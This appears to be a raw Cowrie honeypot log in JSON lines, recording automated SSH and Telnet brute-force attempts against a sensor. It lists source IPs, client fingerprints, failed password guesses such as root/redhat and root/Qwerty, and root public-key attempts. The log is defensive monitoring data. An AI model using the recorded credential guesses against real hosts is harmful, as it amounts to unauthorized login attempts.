{"eventid":"cowrie.session.closed","duration":120.00262713432312,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:55.194126Z","src_ip":"176.65.139.118","session":"4464aa8a0559","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00361800193787,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:57.642913Z","src_ip":"152.42.224.71","session":"19e664fef7b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53008,"dst_ip":"159.203.135.109","dst_port":22,"session":"60d333c2e085","protocol":"ssh","message":"New connection: 31.40.204.166:53008 (159.203.135.109:22) [session: 60d333c2e085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:58.105389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:58.119180Z","src_ip":"31.40.204.166","session":"60d333c2e085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:58.282758Z","src_ip":"31.40.204.166","session":"60d333c2e085","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:58.804749Z","src_ip":"31.40.204.166","session":"60d333c2e085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:00.005448Z","src_ip":"31.40.204.166","session":"60d333c2e085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52088,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8717d2c7195","protocol":"telnet","message":"New connection: 152.42.224.71:52088 (10.17.0.5:23) [session: e8717d2c7195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:03.463056Z"}
{"eventid":"cowrie.session.closed","duration":120.00579833984375,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:07.599144Z","src_ip":"152.42.224.71","session":"67f44cc55bf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44058,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb85f83b58a1","protocol":"telnet","message":"New connection: 152.42.224.71:44058 (10.17.0.5:23) [session: fb85f83b58a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:10.074700Z"}
{"eventid":"cowrie.session.closed","duration":55.534188985824585,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:10.689162Z","src_ip":"152.42.224.71","session":"f0d228c10df0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44066,"dst_ip":"10.17.0.5","dst_port":23,"session":"af0075602918","protocol":"telnet","message":"New connection: 152.42.224.71:44066 (10.17.0.5:23) [session: af0075602918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:10.881438Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37992,"dst_ip":"159.203.135.109","dst_port":22,"session":"507a2e76778b","protocol":"ssh","message":"New connection: 31.40.204.166:37992 (159.203.135.109:22) [session: 507a2e76778b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:11.082009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:11.087479Z","src_ip":"31.40.204.166","session":"507a2e76778b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:11.211977Z","src_ip":"31.40.204.166","session":"507a2e76778b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:11.891423Z","src_ip":"31.40.204.166","session":"507a2e76778b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:13.018475Z","src_ip":"31.40.204.166","session":"507a2e76778b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.769373178482056,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:16.440978Z","src_ip":"152.42.224.71","session":"60c4d15aa6b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44580,"dst_ip":"10.17.0.5","dst_port":23,"session":"c15917a6caa5","protocol":"telnet","message":"New connection: 152.42.224.71:44580 (10.17.0.5:23) [session: c15917a6caa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:17.247000Z"}
{"eventid":"cowrie.session.closed","duration":45.80237603187561,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:17.616240Z","src_ip":"152.42.224.71","session":"f86a742d3f4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00231194496155,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:17.962827Z","src_ip":"152.42.224.71","session":"96e0f561a615","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.177475929260254,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:19.168349Z","src_ip":"152.42.224.71","session":"aed1cc64a459","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":50426,"dst_ip":"159.203.135.109","dst_port":23,"session":"30e09c6d72d7","protocol":"telnet","message":"New connection: 176.65.139.118:50426 (159.203.135.109:23) [session: 30e09c6d72d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:23.823418Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55116,"dst_ip":"159.203.135.109","dst_port":22,"session":"298c3af0e22f","protocol":"ssh","message":"New connection: 31.40.204.166:55116 (159.203.135.109:22) [session: 298c3af0e22f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:24.013369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:24.021659Z","src_ip":"31.40.204.166","session":"298c3af0e22f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:24.524309Z","src_ip":"31.40.204.166","session":"298c3af0e22f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:25.206017Z","src_ip":"31.40.204.166","session":"298c3af0e22f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.60.187","src_port":40978,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b161496a5db","protocol":"ssh","message":"New connection: 199.127.60.187:40978 (10.17.0.5:22) [session: 0b161496a5db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:25.262813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:25.269312Z","src_ip":"199.127.60.187","session":"0b161496a5db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:25.310565Z","src_ip":"199.127.60.187","session":"0b161496a5db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:ba:c8:91:a8:05:97:45:ef:09:a9:22:09:07:53:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMTiIZYFSQkfGNPA7WZ9si/PTuUJiEZrEUuKTA/iOHaaBFtewIPg+s9nGMw6nVL4VUNUPuxi2OoxFhwDBaqc6kbKiaDLirwizrOUDYwNRSLmpdO4eFFdi3KhYm2WopSdaGDkvBiepznj3Sq3IbESYBvXD77shl1fIhSiund6yvMfaoj+p9IZSBCIj1wuOSMjqnO5STYDbh2YmefWK9kgHbcJG4NFz09FU18w6oYqvayeGUqNLwR/x5+Aj2jbH8JUpFz/LmorWSdHLjaTfzYHJskLrNipxX8x3vEq4xuJu2yAm2kGNzxR/+bP0bSxu9jCGZu+O3fQvi9Vg4YkerCYOaHn8EEWgDMiXtDGnQkPczmjHDN7KcJunV4ztOwAHoxmS508dMCzbF5KXOldNIh+PblHD7t4i3mdNJJBvtlGo3ESaI47mvQIw7MRrUR60CCGiGdkdAj5W6onHUgiTl0xiRMBVTB6un7cKnCsGvkWa1uaMij1lp4VSBFcwZA7Xb4Ps=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:ba:c8:91:a8:05:97:45:ef:09:a9:22:09:07:53:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:25.488478Z","src_ip":"199.127.60.187","session":"0b161496a5db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:ba:c8:91:a8:05:97:45:ef:09:a9:22:09:07:53:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMTiIZYFSQkfGNPA7WZ9si/PTuUJiEZrEUuKTA/iOHaaBFtewIPg+s9nGMw6nVL4VUNUPuxi2OoxFhwDBaqc6kbKiaDLirwizrOUDYwNRSLmpdO4eFFdi3KhYm2WopSdaGDkvBiepznj3Sq3IbESYBvXD77shl1fIhSiund6yvMfaoj+p9IZSBCIj1wuOSMjqnO5STYDbh2YmefWK9kgHbcJG4NFz09FU18w6oYqvayeGUqNLwR/x5+Aj2jbH8JUpFz/LmorWSdHLjaTfzYHJskLrNipxX8x3vEq4xuJu2yAm2kGNzxR/+bP0bSxu9jCGZu+O3fQvi9Vg4YkerCYOaHn8EEWgDMiXtDGnQkPczmjHDN7KcJunV4ztOwAHoxmS508dMCzbF5KXOldNIh+PblHD7t4i3mdNJJBvtlGo3ESaI47mvQIw7MRrUR60CCGiGdkdAj5W6onHUgiTl0xiRMBVTB6un7cKnCsGvkWa1uaMij1lp4VSBFcwZA7Xb4Ps=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:25.493333Z","src_ip":"199.127.60.187","session":"0b161496a5db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:94:9b:dc:2e:18:6e:7c:a9:98:0a:dc:6c:07:57:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZdN3I4Ny0/Q/ZXG29ituIXfpmAHY0lGsN44GrB6MLfFb9dYPTZ0NcUL5mVURfn4FTT8vnZW/c5Gqm7QC13SOAWdU05fcHTNauGG4S02cxQ21xI0e5Ib2rq+FfgC2vyeJzDJhATsbvcL1VvjG9bOoShsfvCiNgqzux09wpTgXPYrXsz1crGJ68l0luIuLBq94BSKBUogaJuvSbyU446KHnrVPAVACrj3E0ZekM0Rru37UZ2lak8uqFrEjpU6c47cdqRr57pYYl6bm2FseDHG7SP11tSHcZLY2mb0cfx3nYa9UfN09ud+m7jb72sS4Vm3xSP/BgHXNL/fOXZuYenRM/XhfHTf62/f5C/77T1LSpMm/qzkSNnHAZ+5VVNKFLRkl54IMuX6PslwckeGiMXiuB3VMbVeGWqb/qPHXx1aTxBpdOOLKLQz8Iybhr5IvWmNMvFx/QHbxZnC1f+FM8rOGSBWccTRzCoYkav1BFiytpsQMhJG0PYmJdghCIa/tQJB0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:94:9b:dc:2e:18:6e:7c:a9:98:0a:dc:6c:07:57:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:25.541162Z","src_ip":"199.127.60.187","session":"0b161496a5db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:94:9b:dc:2e:18:6e:7c:a9:98:0a:dc:6c:07:57:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZdN3I4Ny0/Q/ZXG29ituIXfpmAHY0lGsN44GrB6MLfFb9dYPTZ0NcUL5mVURfn4FTT8vnZW/c5Gqm7QC13SOAWdU05fcHTNauGG4S02cxQ21xI0e5Ib2rq+FfgC2vyeJzDJhATsbvcL1VvjG9bOoShsfvCiNgqzux09wpTgXPYrXsz1crGJ68l0luIuLBq94BSKBUogaJuvSbyU446KHnrVPAVACrj3E0ZekM0Rru37UZ2lak8uqFrEjpU6c47cdqRr57pYYl6bm2FseDHG7SP11tSHcZLY2mb0cfx3nYa9UfN09ud+m7jb72sS4Vm3xSP/BgHXNL/fOXZuYenRM/XhfHTf62/f5C/77T1LSpMm/qzkSNnHAZ+5VVNKFLRkl54IMuX6PslwckeGiMXiuB3VMbVeGWqb/qPHXx1aTxBpdOOLKLQz8Iybhr5IvWmNMvFx/QHbxZnC1f+FM8rOGSBWccTRzCoYkav1BFiytpsQMhJG0PYmJdghCIa/tQJB0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:25.550375Z","src_ip":"199.127.60.187","session":"0b161496a5db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:05:b8:47:10:0b:36:c4:14:56:74:88:20:9b:f3:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4t1KaQn9uN+EmbiLKyAMIpWVGW/ItFG+fgPbJyzwLTKHdBPTFbH7KQN3D9NysD5oIunm+lUUAzA9e6M5k8FFbBFiWOiAib0ll7c7bZZtAYhXMYYkjy/1oT0uaE7aElImx6i+bKmRrrjl5fUUQQ4LjX1eGmA1Hz633cBpXb8McMRMItUHxEJYyIN65eSbyKmBE1huasxQfeN8jwc0ARI9Hd9EimPUkw7YMOtDexoh9oQfewWJvnpvSDlL/AyBB5YaeCHYKHSo0b95UmaW2mj8vnmeHIknVoH57EZbQtTvohiOX5YUdy/uwXnwaA272+nJ1uTpIQJBXNQxNziMBz9t8Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:05:b8:47:10:0b:36:c4:14:56:74:88:20:9b:f3:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:25.594597Z","src_ip":"199.127.60.187","session":"0b161496a5db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:05:b8:47:10:0b:36:c4:14:56:74:88:20:9b:f3:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4t1KaQn9uN+EmbiLKyAMIpWVGW/ItFG+fgPbJyzwLTKHdBPTFbH7KQN3D9NysD5oIunm+lUUAzA9e6M5k8FFbBFiWOiAib0ll7c7bZZtAYhXMYYkjy/1oT0uaE7aElImx6i+bKmRrrjl5fUUQQ4LjX1eGmA1Hz633cBpXb8McMRMItUHxEJYyIN65eSbyKmBE1huasxQfeN8jwc0ARI9Hd9EimPUkw7YMOtDexoh9oQfewWJvnpvSDlL/AyBB5YaeCHYKHSo0b95UmaW2mj8vnmeHIknVoH57EZbQtTvohiOX5YUdy/uwXnwaA272+nJ1uTpIQJBXNQxNziMBz9t8Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:25.598559Z","src_ip":"199.127.60.187","session":"0b161496a5db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:52:f2:9a:8d:a8:09:e3:90:06:57:16:c4:c7:cf:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvhwcQ/moRx9BqsQDfG8rKQJxYYcnl9kvy7ehWJhvUpHBjaeIdh5h2n+jPi6CbH34XNrjlYrEe8Nwf6P10hmr69MCGcyShO1faJ5y+itJfD9JzZbhkFG7dYMQPD7gDK3XG+54d0asLJn8HmKakZrmH1DtKZI2UP1Bud6ib4BlLR9g5dPYc6avwpUbhI/ABbCYP6KSxk6svvoK2JzCC7SC45CPT1QQCvw1RtRDftYlgik59OMtddTlrgWE87tL6JI9HU3Bj9LwMOaRf2hnM7+S4PeC0el19aKWzs3S4IJ1iSNp1qsDFsslOC1hnrslQ5wsNW2zFk2Np5vI5yghTnLa0Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:52:f2:9a:8d:a8:09:e3:90:06:57:16:c4:c7:cf:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:25.641837Z","src_ip":"199.127.60.187","session":"0b161496a5db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:52:f2:9a:8d:a8:09:e3:90:06:57:16:c4:c7:cf:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvhwcQ/moRx9BqsQDfG8rKQJxYYcnl9kvy7ehWJhvUpHBjaeIdh5h2n+jPi6CbH34XNrjlYrEe8Nwf6P10hmr69MCGcyShO1faJ5y+itJfD9JzZbhkFG7dYMQPD7gDK3XG+54d0asLJn8HmKakZrmH1DtKZI2UP1Bud6ib4BlLR9g5dPYc6avwpUbhI/ABbCYP6KSxk6svvoK2JzCC7SC45CPT1QQCvw1RtRDftYlgik59OMtddTlrgWE87tL6JI9HU3Bj9LwMOaRf2hnM7+S4PeC0el19aKWzs3S4IJ1iSNp1qsDFsslOC1hnrslQ5wsNW2zFk2Np5vI5yghTnLa0Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:25.649119Z","src_ip":"199.127.60.187","session":"0b161496a5db","protocol":"ssh"}
